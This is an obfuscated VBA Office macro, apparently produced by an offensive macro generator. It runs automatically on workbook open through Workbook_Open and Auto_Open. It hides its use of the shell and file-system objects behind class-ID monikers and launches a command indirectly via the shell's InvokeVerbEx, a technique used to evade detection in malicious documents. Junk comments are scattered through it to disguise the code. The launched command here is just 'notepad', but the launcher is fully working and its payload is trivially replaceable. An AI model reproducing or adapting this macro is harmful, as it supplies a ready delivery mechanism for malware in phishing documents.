Sub obf_LaunchCommand(ByVal obf_command As String)

	   ' obf_args = Trim(Mid(obf_cmd, obf_endQuotePos + 1))
  On Error GoTo obf_ProcError

 ' End If

Dim obf_App, obf_endQuotePos, obf_args, obf_spaceChar, obf_appPath
	   Dim obf_shFolder, obf_parsedItem, obf_FileItems
  Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F0" _
      & "93-11CF-8940-00A0C9054228")
  Dim obf_cmd
 obf_cmd = obf_command
  'obf_LaunchCommand "notepa
	obf_args = ""
	obf_App = Trim(obf_cmd)
 '  End If
	 obf_endQuotePos = InStr(2, obf_cmd, """")
		obf_spaceChar = InStr(1, obf_cmd, " ")
  If Left(obf_cmd, 1) = """" And obf_endQuotePos > 0 Then
'  Exit Sub
obf_App = Trim(Mid(obf_cmd, 2, obf_endQuotePos - 2))
 '   Set obf_shFolder = obf_shInst.Namespace(obf_appPa
 obf_args = Trim(Mid(obf_cmd, obf_endQuotePos + 1))
   '  Dim obf_arrayOfPaths As Variant
   ElseIf obf_spaceChar > 0 Then
	 '  Sub Workbook_Open()
	obf_App = Trim(Mid(obf_cmd, 1, obf_spaceChar - 1))
  obf_args = Trim(Mid(obf_cmd, obf_spaceChar + 1))
	 'End If
  End If
 Dim obf_shInst
Set obf_shInst = GetObject("new:13709620-C279-11CE-A49E-444553540000")

	 '  End
 If obf_FSO.FileExists(obf_App) Then
   obf_appPath = obf_FSO.GetParentFolderName(obf_App) & "\"
	  ' obf_args = Trim(Mid(obf_cmd, obf_endQuotePos + 1))
   obf_App = obf_FSO.GetFileName(obf_App)
	   '   Dim obf_arrayOfPaths As Variant
Set obf_shFolder = obf_shInst.Namespace(obf_appPath)
		If (Not obf_shFolder Is Nothing) Then
		'End If
  Set obf_FileItems = obf_shFolder.Items()

' End If
  For Each obf_parsedItem In obf_FileItems
  If InStr(obf_parsedItem, obf_App) Then

  '  Set obf_shFolder = obf_shInst.Namespace(obf_FooItem)
	   obf_parsedItem.InvokeVerbEx "open", " " & obf_args
 'End
Exit Sub
	 '  On Error GoTo obf_ProcError
   End If
	 Next
	   'For Each obf_Foo
   End If
  Else
   Dim obf_arrayOfPaths As Variant
	   '  End Sub
obf_arrayOfPaths = Array(26, 28, 36, 37, 40, 49)
 '  End
		obf_App = obf_FSO.GetFileName(obf_App)
For Each obf_FooItem In obf_arrayOfPaths
	  Set obf_shFolder = obf_shInst.Namespace(obf_FooItem)
	If (Not obf_shFolder Is Nothing) Then
	 '  Set obf_shFolder = obf_shInst.Namespace(obf_appPa
  Set obf_parsedItem = obf_shFolder.ParseName(obf_App)
	 If (Not obf_parsedItem Is Nothing) Then
   ' Sub obf_GeneratorEntryPoint()
	  obf_parsedItem.InvokeVerbEx "open", " " & obf_args
	'Sub Workbook_Open()

		Exit Sub

		End If
	 End If
   Next
	 End If
'Dim obf_ar
 obf_ProcError:
 End Sub
		Sub obf_GeneratorEntryPoint()
	  '  On Error Resume Next
	   On Error GoTo obf_ProcError
	  Dim obf_code
	  'If (Not obf_pars
	   obf_code = ""
  obf_LaunchCommand "notepad"
  obf_ProcError:
		'obf_appPath =
	  End Sub
	Sub obf_MacroEntryPoint()
		On Error Resume Next
	  '  obf_
  obf_GeneratorEntryPoint
	'End
 End Sub
 Sub Workbook_Open()
 obf_MacroEntryPoint
  'End Sub
  End Sub
	 Sub Auto_Open()
	  obf_MacroEntryPoint
   'If (Not obf_pars
	   End Sub